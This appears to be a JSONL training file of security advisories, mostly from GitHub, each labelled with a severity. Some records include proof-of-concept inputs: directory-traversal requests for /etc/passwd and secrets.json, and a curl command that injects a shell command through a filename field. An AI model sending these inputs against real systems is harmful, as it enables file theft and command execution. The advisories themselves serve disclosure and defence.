-{"id": "25545688e7be0b34d43b", "text": "HTML Injection in preact\n\nVersions of `preact` 10.x on prerelease tags alpha and beta prior to 10.0.0-beta.1 are vulnerable to HTML Injection. Due to insufficient input validation the package allows attackers to inject JavaScript objects as virtual-dom nodes, which may lead to Cross-Site Scripting. This requires user input parsed with `JSON.parse()` to be passed directly into JSX without sanitization.\n\n## Recommendation\n\nUpgrade to version 10.0.0-beta.1.", "text_raw": "HTML Injection in preact\n\n[Severity: MEDIUM]\n\nVersions of `preact` 10.x on prerelease tags alpha and beta prior to 10.0.0-beta.1 are vulnerable to HTML Injection. Due to insufficient input validation the package allows attackers to inject JavaScript objects as virtual-dom nodes, which may lead to Cross-Site Scripting. This requires user input parsed with `JSON.parse()` to be passed directly into JSX without sanitization.\n\n\n## Recommendation\n\nUpgrade to version 10.0.0-beta.1.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "89667ced300fb35b1996", "text": "Prototype Pollution in merge\n\nVersions of `merge` before 1.2.1 are vulnerable to prototype pollution. The `merge.recursive` function can be tricked into adding or modifying properties of the Object prototype.\n\n## Recommendation\n\nUpdate to version 1.2.1 or later.", "text_raw": "Prototype Pollution in merge\n\n[Severity: HIGH]\n\nVersions of `merge` before 1.2.1 are vulnerable to prototype pollution. The `merge.recursive` function can be tricked into adding or modifying properties of the Object prototype.\n\n\n## Recommendation\n\nUpdate to version 1.2.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
-{"id": "b7f50fc912fbf0eca64f", "text": "iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability", "text_raw": "iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-09-16", "split": "train"}
-{"id": "b380f223996916948b30", "text": "Apache CXF TLS hostname verification does not work correctly with com.sun.net.ssl.*\n\nIt is possible to configure Apache CXF to use the com.sun.net.ssl implementation via 'System.setProperty(\"java.protocol.handler.pkgs\", \"com.sun.net.ssl.internal.www.protocol\");'. When this system property is set, CXF uses some reflection to try to make the HostnameVerifier work with the old com.sun.net.ssl.HostnameVerifier interface. However, the default HostnameVerifier implementation in CXF does not implement the method in this interface, and an exception is thrown. However, in Apache CXF prior to 3.2.5 and 3.1.16 the exception is caught in the reflection code and not properly propagated. What this means is that if you are using the com.sun.net.ssl stack with CXF, an error with TLS hostname verification will not be thrown, leaving a CXF client subject to man-in-the-middle attacks.", "text_raw": "Apache CXF TLS hostname verification does not work correctly with com.sun.net.ssl.*\n\n[Severity: HIGH]\n\nIt is possible to configure Apache CXF to use the com.sun.net.ssl implementation via 'System.setProperty(\"java.protocol.handler.pkgs\", \"com.sun.net.ssl.internal.www.protocol\");'. When this system property is set, CXF uses some reflection to try to make the HostnameVerifier work with the old com.sun.net.ssl.HostnameVerifier interface. However, the default HostnameVerifier implementation in CXF does not implement the method in this interface, and an exception is thrown. However, in Apache CXF prior to 3.2.5 and 3.1.16 the exception is caught in the reflection code and not properly propagated. What this means is that if you are using the com.sun.net.ssl stack with CXF, an error with TLS hostname verification will not be thrown, leaving a CXF client subject to man-in-the-middle attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "f8afca607a7b054017f8", "text": "Apple iOS WebKit Memory Corruption Vulnerability\n\nAffected: Apple iOS\n\nApple iOS WebKit contains a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS WebKit Memory Corruption Vulnerability\n\nAffected: Apple iOS\n\nApple iOS WebKit contains a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ac2a749d256bc1196167", "text": "Malicious Package in grunt-radical\n\nVersion 0.0.14 of `grunt-radical` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in grunt-radical\n\n[Severity: CRITICAL]\n\nVersion 0.0.14 of `grunt-radical` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "9b54a8a150f38d33cf0c", "text": "XSS in knockout\n\nThere is a vulnerability in knockout before version 3.5.0-beta, where after escaping the context of the web application, the web application delivers data to its users along with other trusted dynamic content, without validating it.", "text_raw": "XSS in knockout\n\n[Severity: MEDIUM]\n\nThere is a vulnerability in knockout before version 3.5.0-beta, where after escaping the context of the web application, the web application delivers data to its users along with other trusted dynamic content, without validating it.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-01", "split": "train"}
-{"id": "d1fa941025fdbb02bd9e", "text": "Cross-site Scripting in Mermaid\n\nMermaid before 8.11.0 allows XSS when the antiscript feature is used.", "text_raw": "Cross-site Scripting in Mermaid\n\n[Severity: MEDIUM]\n\nMermaid before 8.11.0 allows XSS when the antiscript feature is used.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "4c59ad938c075acbdb57", "text": "Downloads Resources over HTTP in massif\n\nAffected versions of `massif` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `massif`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in massif\n\n[Severity: HIGH]\n\nAffected versions of `massif` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `massif`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "a2463a07ee76d68ec687", "text": "Prototype Pollution in @hapi/hoek\n\nVersions of `@hapi/hoek` prior to 8.5.1 and 9.0.3 are vulnerable to Prototype Pollution. The `clone` function fails to prevent the modification of the Object prototype when passed specially-crafted input. Attackers may use this to change existing properties that exist in all objects, which may lead to Denial of Service or Remote Code Execution in specific circumstances.  \nThis issue __does not__ affect hapi applications since the framework protects against such malicious inputs. Applications that use `@hapi/hoek` outside of the hapi ecosystem may be vulnerable.\n\n## Recommendation\n\nUpdate to version 8.5.1, 9.0.3 or later.", "text_raw": "Prototype Pollution in @hapi/hoek\n\n[Severity: LOW]\n\nVersions of `@hapi/hoek` prior to 8.5.1 and 9.0.3 are vulnerable to Prototype Pollution. The `clone` function fails to prevent the modification of the Object prototype when passed specially-crafted input. Attackers may use this to change existing properties that exist in all objects, which may lead to Denial of Service or Remote Code Execution in specific circumstances.  \nThis issue __does not__ affect hapi applications since the framework protects against such malicious inputs. Applications that use `@hapi/hoek` outside of the hapi ecosystem may be vulnerable.\n\n\n## Recommendation\n\nUpdate to version 8.5.1, 9.0.3 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "baf44f5cb1817641c5ba", "text": "Cross-Site Scripting in fomantic-ui\n\nVersions of `fomantic-ui` are vulnerable to Cross-Site Scripting. Lack of output encoding on the selection dropdowns can lead to user input being executed instead of printed as text.\n\n## Recommendation\n\nUpgrade to version 2.7.0 or later.", "text_raw": "Cross-Site Scripting in fomantic-ui\n\n[Severity: HIGH]\n\nVersions of `fomantic-ui` are vulnerable to Cross-Site Scripting. Lack of output encoding on the selection dropdowns can lead to user input being executed instead of printed as text.\n\n\n## Recommendation\n\nUpgrade to version 2.7.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "8825c3e9c15d1938afef", "text": "Ratpack's default client side session signing key is highly predictable\n\n### Impact\n\nThe client side session module uses the application startup time as the signing key by default. This means that if an attacker can determine this time, and if encryption is not also used (which is recommended, but is not on by default), the session data could be tampered with by someone with the ability to write cookies.\n\nThe default configuration is unsuitable for production use as an application restart renders all sessions invalid and is not multi-host compatible, but its use is not actively prevented.\n\n### Vulnerability Location\n\nhttps://github.com/ratpack/ratpack/blob/29434f7ac6fd4b36a4495429b70f4c8163100332/ratpack-session/src/main/java/ratpack/session/clientside/ClientSideSessionConfig.java#L29\n\n### Patches\n\nAs of Ratpack 1.9.0 the default value is a securely randomly generated value, generated at application startup time.\n\n### Workarounds\n\nSupply an alternative signing key, as per the documentation's recommendation.", "text_raw": "Ratpack's default client side session signing key is highly predictable\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe client side session module uses the application startup time as the signing key by default. This means that if an attacker can determine this time, and if encryption is not also used (which is recommended, but is not on by default), the session data could be tampered with by someone with the ability to write cookies. \n\nThe default configuration is unsuitable for production use as an application restart renders all sessions invalid and is not multi-host compatible, but its use is not actively prevented.\n\n### Vulnerability Location\n\nhttps://github.com/ratpack/ratpack/blob/29434f7ac6fd4b36a4495429b70f4c8163100332/ratpack-session/src/main/java/ratpack/session/clientside/ClientSideSessionConfig.java#L29\n\n### Patches\n\nAs of Ratpack 1.9.0 the default value is a securely randomly generated value, generated at application startup time. \n\n### Workarounds\n\nSupply an alternative signing key, as per the documentation's recommendation.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-01", "split": "train"}
-{"id": "8a3c31be7c7506b934fe", "text": "Missing Origin Validation in parcel-bundler\n\nWithdrawn: Duplicate of GHSA-37q6-576q-vgr7", "text_raw": "Missing Origin Validation in parcel-bundler\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of GHSA-37q6-576q-vgr7", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-27", "split": "train"}
-{"id": "2fa3af152d965280e316", "text": "Reachable Assertion in OpenCV.\n\nIn OpenCV 3.3.1 (corresponds with OpenCV-Python 3.3.1.11), an assertion failure happens in cv::RBaseStream::setPos in modules/imgcodecs/src/bitstrm.cpp because of an incorrect integer cast.", "text_raw": "Reachable Assertion in OpenCV.\n\n[Severity: MEDIUM]\n\nIn OpenCV 3.3.1 (corresponds with OpenCV-Python 3.3.1.11), an assertion failure happens in cv::RBaseStream::setPos in modules/imgcodecs/src/bitstrm.cpp because of an incorrect integer cast.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "e0c3f6ea25cd92795636", "text": "LimeSurvey v2.00+ (build 131107) Script Insertion And SQL Injection Vulnerability", "text_raw": "LimeSurvey v2.00+ (build 131107) Script Insertion And SQL Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-11-23", "split": "train"}
-{"id": "e384527cebfb7040edd9", "text": "Directory Traversal in susu-sum\n\nAffected versions of `susu-sum` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in susu-sum\n\n[Severity: HIGH]\n\nAffected versions of `susu-sum` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "dd46f811acb191397d30", "text": "openssl-src NULL pointer Dereference in signature_algorithms processing\n\nAn OpenSSL TLS server may crash if sent a maliciously crafted renegotiation ClientHello message from a client. If a TLSv1.2 renegotiation ClientHello omits the signature_algorithms extension (where it was present in the initial ClientHello), but includes a signature_algorithms_cert extension then a NULL pointer dereference will result, leading to a crash and a denial of service attack. A server is only vulnerable if it has TLSv1.2 and renegotiation enabled (which is the default configuration). OpenSSL TLS clients are not impacted by this issue. All OpenSSL 1.1.1 versions are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1k. OpenSSL 1.0.2 is not impacted by this issue. Fixed in OpenSSL 1.1.1k (Affected 1.1.1-1.1.1j).", "text_raw": "openssl-src NULL pointer Dereference in signature_algorithms processing\n\n[Severity: MEDIUM]\n\nAn OpenSSL TLS server may crash if sent a maliciously crafted renegotiation ClientHello message from a client. If a TLSv1.2 renegotiation ClientHello omits the signature_algorithms extension (where it was present in the initial ClientHello), but includes a signature_algorithms_cert extension then a NULL pointer dereference will result, leading to a crash and a denial of service attack. A server is only vulnerable if it has TLSv1.2 and renegotiation enabled (which is the default configuration). OpenSSL TLS clients are not impacted by this issue. All OpenSSL 1.1.1 versions are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1k. OpenSSL 1.0.2 is not impacted by this issue. Fixed in OpenSSL 1.1.1k (Affected 1.1.1-1.1.1j).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "7ba53efb4298bccdde5c", "text": "Directory Traversal in elding\n\nAffected versions of `elding` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nThis vulnerability only affects files that have file extensions - i.e. `/etc/passwd` will be treated as a directory, and a read attempt on `/etc/passwd/index.js` will be made and subsequently fail.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../some_app_dir/secrets.json HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in elding\n\n[Severity: MEDIUM]\n\nAffected versions of `elding` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nThis vulnerability only affects files that have file extensions - i.e. `/etc/passwd` will be treated as a directory, and a read attempt on `/etc/passwd/index.js` will be made and subsequently fail. \n\n**Example request:**\n```http\nGET /../../../../../../../../../../some_app_dir/secrets.json HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "1d7385fd0d3aada1cdb8", "text": "Command Injection in expressfs\n\nAll versions of `expressfs` are vulnerable to Command Injection. The package does not validate user input on several API endpoints, allowing attackers to run arbitrary commands in the system. The affected endpoints are: `expressfs.appendFile`,  `expressfs.cp`, `expressfs.create` and `expressfs.rmdir`.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Command Injection in expressfs\n\n[Severity: HIGH]\n\nAll versions of `expressfs` are vulnerable to Command Injection. The package does not validate user input on several API endpoints, allowing attackers to run arbitrary commands in the system. The affected endpoints are: `expressfs.appendFile`,  `expressfs.cp`, `expressfs.create` and `expressfs.rmdir`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2f908638c8fb7b7ab869", "text": "Denial-of-Service Extended Event Loop Blocking in qs\n\nVersions prior to 1.0.0 of `qs` are affected by a denial of service vulnerability that results from excessive recursion in parsing a deeply nested JSON string.\n\n## Recommendation\n\nUpdate to version 1.0.0 or later", "text_raw": "Denial-of-Service Extended Event Loop Blocking in qs\n\n[Severity: HIGH]\n\nVersions prior to 1.0.0 of `qs` are affected by a denial of service vulnerability that results from excessive recursion in parsing a deeply nested JSON string.\n\n\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "228acc79ee026dc4380b", "text": "Remote Code Execution in pi_video_recording\n\nAll versions of `pi_video_recording` are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint.  After running the server, `curl -POST -H \"Content-Type: application/json\" -d '{\"filename\": \" || touch /tmp/worked;\"}' http://localhost:5000/api/record/start`creates a file in the /tmp/ directory\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Remote Code Execution in pi_video_recording\n\n[Severity: HIGH]\n\nAll versions of `pi_video_recording` are vulnerable to Remote Code Execution. Due to insufficient input validation the server executes arbitrary code through the /api/record/start endpoint.  After running the server, `curl -POST -H \"Content-Type: application/json\" -d '{\"filename\": \" || touch /tmp/worked;\"}' http://localhost:5000/api/record/start`creates a file in the /tmp/ directory\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "11ab448aa09da68ec76f", "text": "Cross-Site Scripting in dojo\n\nVersions of `dojo` prior to 1.2.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize HTML code in user-controlled input, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.2.0 or later.", "text_raw": "Cross-Site Scripting in dojo\n\n[Severity: MEDIUM]\n\nVersions of `dojo` prior to 1.2.0 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize HTML code in user-controlled input, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.2.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "44943670c40257387299", "text": "Apache Axis 1.x up to and including 1.4 is vulnerable to a cross-site scripting (XSS) attack in the default servlet/services.", "text_raw": "Moderate severity vulnerability that affects apache axis\n\n[Severity: MEDIUM]\n\nApache Axis 1.x up to and including 1.4 is vulnerable to a cross-site scripting (XSS) attack in the default servlet/services.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "2147d192fe8c0e8eea20", "text": "SQL Injection in sails-mysql\n\nVersions of `sails-mysql` prior to 0.10.8 are vulnerable to SQL Injection. The `sort` keyword is not properly sanitized and may allow attackers to inject SQL statements and execute arbitrary SQL queries\n\n## Recommendation\n\nUpgrade to version 0.10.8 or later.", "text_raw": "SQL Injection in sails-mysql\n\n[Severity: HIGH]\n\nVersions of `sails-mysql` prior to 0.10.8 are vulnerable to SQL Injection. The `sort` keyword is not properly sanitized and may allow attackers to inject SQL statements and execute arbitrary SQL queries\n\n\n## Recommendation\n\nUpgrade to version 0.10.8 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "71a42d27fe06200ab40f", "text": "pym.js CSRF Vulnerability\n\nNPR Visuals Team Pym.js version versions 0.4.2 up to 1.3.1 contains a Cross Site Request Forgery (CSRF) vulnerability in Pym.js `_onNavigateToMessage` function.\n\nhttps://github.com/nprapps/pym.js/blob/master/src/pym.js#L573 can result in Arbitrary javascript code execution. This attack appears to be exploitable if the Attacker gains full javascript access to pages with Pym.js embeds, or when user visits an attacker-crafted page. This vulnerability appears to have been fixed in versions 1.3.2 and later.", "text_raw": "pym.js CSRF Vulnerability\n\n[Severity: HIGH]\n\nNPR Visuals Team Pym.js version versions 0.4.2 up to 1.3.1 contains a Cross Site Request Forgery (CSRF) vulnerability in Pym.js `_onNavigateToMessage` function. \n\nhttps://github.com/nprapps/pym.js/blob/master/src/pym.js#L573 can result in Arbitrary javascript code execution. This attack appears to be exploitable if the Attacker gains full javascript access to pages with Pym.js embeds, or when user visits an attacker-crafted page. This vulnerability appears to have been fixed in versions 1.3.2 and later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-13", "split": "train"}
-{"id": "36abee7e9c2f9162f95b", "text": "In RubyGem excon, interrupted Persistent Connections May Leak Response Data\n\n### Impact\nThere was a race condition around persistent connections, where a connection which is interrupted (such as by a timeout) would leave data on the socket. Subsequent requests would then read this data, returning content from the previous response. The race condition window appears to be short, and it would be difficult to purposefully exploit this.\n\n### Patches\nThe problem has been patched in 0.71.0, users should upgrade to this or a newer version (if one exists).\n\n### Workarounds\nUsers can workaround the problem by disabling persistent connections, though this may cause performance implications.\n\n### References\nSee the [patch](https://github.com/excon/excon/commit/ccb57d7a422f020dc74f1de4e8fb505ab46d8a29) for further details.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [excon/issues](https://github.com/excon/excon/issues)\n* Email us at [geemus+github@gmail.com](mailto:geemus+github@gmail.com)", "text_raw": "In RubyGem excon, interrupted Persistent Connections May Leak Response Data\n\n[Severity: MEDIUM]\n\n### Impact\nThere was a race condition around persistent connections, where a connection which is interrupted (such as by a timeout) would leave data on the socket. Subsequent requests would then read this data, returning content from the previous response. The race condition window appears to be short, and it would be difficult to purposefully exploit this.\n\n### Patches\nThe problem has been patched in 0.71.0, users should upgrade to this or a newer version (if one exists).\n\n### Workarounds\nUsers can workaround the problem by disabling persistent connections, though this may cause performance implications.\n\n### References\nSee the [patch](https://github.com/excon/excon/commit/ccb57d7a422f020dc74f1de4e8fb505ab46d8a29) for further details.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [excon/issues](https://github.com/excon/excon/issues)\n* Email us at [geemus+github@gmail.com](mailto:geemus+github@gmail.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-16", "split": "train"}
-{"id": "096f29c33b928298e2e9", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4, 2.8.11.6, and 2.7.9.7 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.10.4, 2.8.11.6, and 2.7.9.7 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
-{"id": "54bc4511178c86584feb", "text": "actionpack allows remote attackers to bypass database-query restrictions, perform NULL checks via crafted request\n\n`actionpack/lib/action_dispatch/http/request.rb` in Ruby on Rails before 3.0.14, 3.1.x before 3.1.6, and 3.2.x before 3.2.6 does not properly consider differences in parameter handling between the Active Record component and the Rack interface, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks via a crafted request, as demonstrated by certain `['xyz', nil]` values, a related issue to CVE-2012-2660.", "text_raw": "actionpack allows remote attackers to bypass database-query restrictions, perform NULL checks via crafted request\n\n[Severity: MEDIUM]\n\n`actionpack/lib/action_dispatch/http/request.rb` in Ruby on Rails before 3.0.14, 3.1.x before 3.1.6, and 3.2.x before 3.2.6 does not properly consider differences in parameter handling between the Active Record component and the Rack interface, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks via a crafted request, as demonstrated by certain `['xyz', nil]` values, a related issue to CVE-2012-2660.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "e7264d067875dbb331fd", "text": "Account takeover and privilege escalation is possible in applications generated by generator-jhipster before 6.3.0. This is due to a vulnerability in the generated java classes: CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)\n\nGenerated applications must be manually patched, following instructions in the release notes: https://www.jhipster.tech/2019/09/13/jhipster-release-6.3.0.html", "text_raw": "Critical severity vulnerability that affects generator-jhipster\n\n[Severity: CRITICAL]\n\nAccount takeover and privilege escalation is possible in applications generated by generator-jhipster before 6.3.0. This is due to a vulnerability in the generated java classes: CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)\n\nGenerated applications must be manually patched, following instructions in the release notes: https://www.jhipster.tech/2019/09/13/jhipster-release-6.3.0.html\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-13", "split": "train"}
-{"id": "f21bb491800d858df024", "text": "Insert tag injection in the Contao login module\n\n### Impact\n\nIt is possible to inject insert tags into the login module which will be replaced when the page is rendered.\n\n### Patches\n\nUpdate to Contao 4.8.6.\n\n### Workarounds\n\nNone.\n\n### References\n\nhttps://contao.org/en/security-advisories/insert-tag-injection-in-the-login-module\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "text_raw": "Insert tag injection in the Contao login module\n\n[Severity: MEDIUM]\n\n### Impact\n\nIt is possible to inject insert tags into the login module which will be replaced when the page is rendered.\n\n### Patches\n\nUpdate to Contao 4.8.6.\n\n### Workarounds\n\nNone.\n\n### References\n\nhttps://contao.org/en/security-advisories/insert-tag-injection-in-the-login-module\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-17", "split": "train"}
-{"id": "9193239a9435b7f12f02", "text": "Mautic users able to download any files from server using filemanager\n\n### Impact\nMautic versions 1.0.0 - 2.11.0 are vulnerable to allowing any authorized Mautic user session (must be logged into Mautic) to use the Filemanager to download any file from the server that the web user has access to.\n\n### Patches\nUpdate to 2.12.0 or later.\n\n### Workarounds\nNone\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "Mautic users able to download any files from server using filemanager\n\n[Severity: MEDIUM]\n\n### Impact\nMautic versions 1.0.0 - 2.11.0 are vulnerable to allowing any authorized Mautic user session (must be logged into Mautic) to use the Filemanager to download any file from the server that the web user has access to.\n\n### Patches\nUpdate to 2.12.0 or later.\n\n### Workarounds\nNone\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "393f13d660855ddbe45f", "text": "parse-server new anonymous user session acts as if it's created with password\n\n### Impact\n\nDevelopers that use the REST API to signup users and also allow users to login anonymously. When an anonymous user is first signed up using REST, the server creates session incorrectly, particularly the `authProvider` field in `_Session` class under `createdWith` shows the user logged in creating a password. If a developer later depends on the `createdWith` field to provide a different level of access between a password user and anonymous user, the server incorrectly classified the session type as being created with a `password`.\n\nThe server currently doesn't use `createdWith` to make decisions on how things work internally, so if a developer isn't using `createdWith` directly, there's nothing to worry about. The vulnerability only affects users who depend on `createdWith` by using it directly.\n\n### Patches\nUpgrade to version 4.5.1.\n\n### Workarounds\nDon't use the `createdWith` Session field to make decisions if you allow anonymous login.\n\n### References\nn/a", "text_raw": "parse-server new anonymous user session acts as if it's created with password\n\n[Severity: MEDIUM]\n\n### Impact\n\nDevelopers that use the REST API to signup users and also allow users to login anonymously. When an anonymous user is first signed up using REST, the server creates session incorrectly, particularly the `authProvider` field in `_Session` class under `createdWith` shows the user logged in creating a password. If a developer later depends on the `createdWith` field to provide a different level of access between a password user and anonymous user, the server incorrectly classified the session type as being created with a `password`.\n\nThe server currently doesn't use `createdWith` to make decisions on how things work internally, so if a developer isn't using `createdWith` directly, there's nothing to worry about. The vulnerability only affects users who depend on `createdWith` by using it directly.   \n\n### Patches\nUpgrade to version 4.5.1.\n\n### Workarounds\nDon't use the `createdWith` Session field to make decisions if you allow anonymous login.\n\n### References\nn/a", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
